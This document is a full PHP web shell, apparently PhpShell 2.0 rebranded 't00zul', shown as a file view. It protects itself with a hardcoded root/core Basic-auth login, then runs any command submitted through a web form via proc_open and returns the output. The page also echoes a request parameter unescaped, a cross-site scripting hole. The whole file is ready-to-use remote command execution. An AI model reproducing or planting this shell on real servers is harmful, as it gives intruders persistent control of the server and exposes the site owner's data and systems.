View file : phpshell.php
<?php // -*- coding: utf-8 -*-
$passwd = array('root' => 'core');
/* Set your aliases here. Each key in the array will be substituted
* with the corresponding value before the commands are executed. */
$aliases = array('ls' => 'ls -CvhF',
'll' => 'ls -lvhF');
if (!isset($_SERVER['PHP_AUTH_USER']) ||
!isset($_SERVER['PHP_AUTH_PW']) ||
!isset($passwd[$_SERVER['PHP_AUTH_USER']]) ||
$passwd[$_SERVER['PHP_AUTH_USER']] != $_SERVER['PHP_AUTH_PW']) {
header('WWW-Authenticate: Basic realm="t00zul"');
header('HTTP/1.0 401 Unauthorized');
$authenticated = false;
} else {
$authenticated = true;
/* We now start the session. */
session_start();
/* Initialize the session variables. */
if (empty($_SESSION['cwd']) || !empty($_REQUEST['reset'])) {
$_SESSION['cwd'] = getcwd();
$_SESSION['history'] = array();
$_SESSION['output'] = '';
}
if (!empty($_REQUEST['command'])) {
if (get_magic_quotes_gpc()) {
/* We don't want to add the commands to the history in the
* escaped form, so we remove the backslashes now. */
$_REQUEST['command'] = stripslashes($_REQUEST['command']);
}
/* Save the command for late use in the JavaScript. If the
* command is already in the history, then the old entry is
* removed before the new entry is put into the list at the
* front. */
if (($i = array_search($_REQUEST['command'], $_SESSION['history'])) !== false)
unset($_SESSION['history'][$i]);
array_unshift($_SESSION['history'], $_REQUEST['command']);
/* Now append the commmand to the output. */
$_SESSION['output'] .= '$ ' . $_REQUEST['command'] . "\n";
/* Initialize the current working directory. */
if (ereg('^[[:blank:]]*cd[[:blank:]]*$', $_REQUEST['command'])) {
$_SESSION['cwd'] = dirname(__FILE__);
} elseif (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $_REQUEST['command'], $regs)) {
/* The current command is a 'cd' command which we have to handle
* as an internal shell command. */
if ($regs[1][0] == '/') {
/* Absolute path, we use it unchanged. */
$new_dir = $regs[1];
} else {
/* Relative path, we append it to the current working
* directory. */
$new_dir = $_SESSION['cwd'] . '/' . $regs[1];
}
/* Transform '/./' into '/' */
while (strpos($new_dir, '/./') !== false)
$new_dir = str_replace('/./', '/', $new_dir);
/* Transform '//' into '/' */
while (strpos($new_dir, '//') !== false)
$new_dir = str_replace('//', '/', $new_dir);
/* Transform 'x/..' into '' */
while (preg_match('|/\.\.(?!\.)|', $new_dir))
$new_dir = preg_replace('|/?[^/]+/\.\.(?!\.)|', '', $new_dir);
if ($new_dir == '') $new_dir = '/';
/* Try to change directory. */
if (@chdir($new_dir)) {
$_SESSION['cwd'] = $new_dir;
} else {
$_SESSION['output'] .= "cd: could not change to: $new_dir\n";
}
} else {
/* The command is not a 'cd' command, so we execute it after
* changing the directory and save the output. */
chdir($_SESSION['cwd']);
/* Alias expansion. */
$length = strcspn($_REQUEST['command'], " \t");
$token = substr($_REQUEST['command'], 0, $length);
if (isset($aliases[$token]))
$_REQUEST['command'] = $aliases[$token] . substr($_REQUEST['command'], $length);
$p = proc_open($_REQUEST['command'],
array(1 => array('pipe', 'w'),
2 => array('pipe', 'w')),
$io);
/* Read output sent to stdout. */
while (!feof($io[1])) {
$_SESSION['output'] .= htmlspecialchars(fgets($io[1]),
ENT_COMPAT, 'UTF-8');
}
/* Read output sent to stderr. */
while (!feof($io[2])) {
$_SESSION['output'] .= htmlspecialchars(fgets($io[2]),
ENT_COMPAT, 'UTF-8');
}
fclose($io[1]);
fclose($io[2]);
proc_close($p);
}
}
/* Build the command history for use in the JavaScript */
if (empty($_SESSION['history'])) {
$js_command_hist = '""';
} else {
$escaped = array_map('addslashes', $_SESSION['history']);
$js_command_hist = '"", "' . implode('", "', $escaped) . '"';
}
}
header('Content-Type: text/html; charset=UTF-8');
/* Since most installations still operate with short_open_tag enabled,
* we have to echo this string from within PHP: */
echo '<?xml version="1.0" encoding="UTF-8"?>' . "\n";
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>PhpShell 2.0</title>
<link rel="stylesheet" href="phpshell.css" type="text/css" />
<script type="text/javascript" language="JavaScript">
var current_line = 0;
var command_hist = new Array(<?php echo $js_command_hist ?>);
var last = 0;
function key(e) {
if (!e) var e = window.event;
if (e.keyCode == 38 && current_line < command_hist.length-1) {
command_hist[current_line] = document.shell.command.value;
current_line++;
document.shell.command.value = command_hist[current_line];
}
if (e.keyCode == 40 && current_line > 0) {
command_hist[current_line] = document.shell.command.value;
current_line--;
document.shell.command.value = command_hist[current_line];
}
}
function init() {
document.shell.setAttribute("autocomplete", "off");
document.shell.output.scrollTop = document.shell.output.scrollHeight;
document.shell.command.focus();
}
</script>
</head>
<body onload="init()">
<h1>t00zul</h1>
<?php if (!$authenticated) { ?>
<p>You failed to authenticate yourself to root. You can <a
href="<?php echo $_SERVER['PHP_SELF'] ?>">reload</a> to try again.</p>
</body>
</html>
<?php // ' <-- fix syntax highlight in Emacs
exit;
}
error_reporting (E_ALL);
if (empty($_REQUEST['rows'])) $_REQUEST['rows'] = 24;
?>
<p>Current Working Directory: <code><?php echo $_SESSION['cwd'] ?></code></p>
<form name="shell" action="<?php echo $_SERVER['PHP_SELF'] ?>" method="post">
<div>
<textarea name="output" readonly="readonly" cols="80" rows="<?php echo $_REQUEST['rows'] ?>">
<?php
$lines = substr_count($_SESSION['output'], "\n");
$padding = str_repeat("\n", max(0, $_REQUEST['rows']+1 - $lines));
echo rtrim($padding . $_SESSION['output']);
?>
</textarea>
<p class="prompt">
$ <input class="prompt" name="command" type="text"
onkeyup="key(event)" size="78" tabindex="1">
</p>
</div>
<p>
<input type="submit" value="Execute Command" />
<input type="submit" name="reset" value="Reset" />
Rows: <input type="text" name="rows" value="<?php echo $_REQUEST['rows'] ?>" />
</p>
</form>
</body>
</html>
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